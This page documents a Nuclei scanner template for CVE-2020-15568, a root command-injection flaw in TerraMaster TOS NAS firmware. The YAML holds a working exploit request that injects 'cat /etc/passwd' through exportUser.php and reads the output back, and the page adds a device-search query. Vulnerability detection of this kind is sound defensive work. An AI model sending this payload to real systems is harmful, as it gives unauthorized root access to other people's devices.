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TerraMaster TOS <.1.29 - Remote Code Execution

ID: CVE-2020-15568

Severity: critical

Author: pikpikcu

Tags: cve2020,cve,terramaster,rce,terra-master

Description

Section titled “Description”

TerraMaster TOS before 4.1.29 has invalid parameter checking that leads to code injection as root. This is a dynamic class method invocation vulnerability in include/exportUser.php, in which an attacker can trigger a call to the exec method with (for example) OS commands in the opt parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2020-15568


info:
  name: TerraMaster TOS <.1.29 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: TerraMaster TOS before 4.1.29 has invalid parameter checking that leads to code injection as root. This is a dynamic class method invocation vulnerability in include/exportUser.php, in which an attacker can trigger a call to the exec method with (for example) OS commands in the opt parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade TerraMaster TOS to version 1.29 or higher to mitigate this vulnerability.
  reference:
    - https://ssd-disclosure.com/ssd-advisory-terramaster-os-exportuser-php-remote-code-execution/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-15568
    - https://help.terra-master.com/TOS/view/
    - https://github.com/divinepwner/TerraMaster-TOS-CVE-2020-15568
    - https://github.com/n0bugz/CVE-2020-15568
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-15568
    cwe-id: CWE-913
    epss-score: 0.96623
    epss-percentile: 0.99607
    cpe: cpe:2.3:o:terra-master:tos:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: terra-master
    product: tos
    fofa-query: '"terramaster" && header="tos"'
  tags: cve2020,cve,terramaster,rce,terra-master
variables:
  filename: "{{to_lower(rand_text_alpha(4))}}"


http:
  - raw:
      - |
        GET /include/exportUser.php?type=3&cla=application&func=_exec&opt=(cat%20/etc/passwd)%3E{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
      - |
        GET /include/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e32c5d1012a8d349358b00d41dbb00afea7ade28a864230521e8f50600e1d8b4022100969f7958fe41a8c74ab30a9f3f9eb2777d3ab444b2e8af9fdf7571126691ce3a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-15568.yaml"

View on Github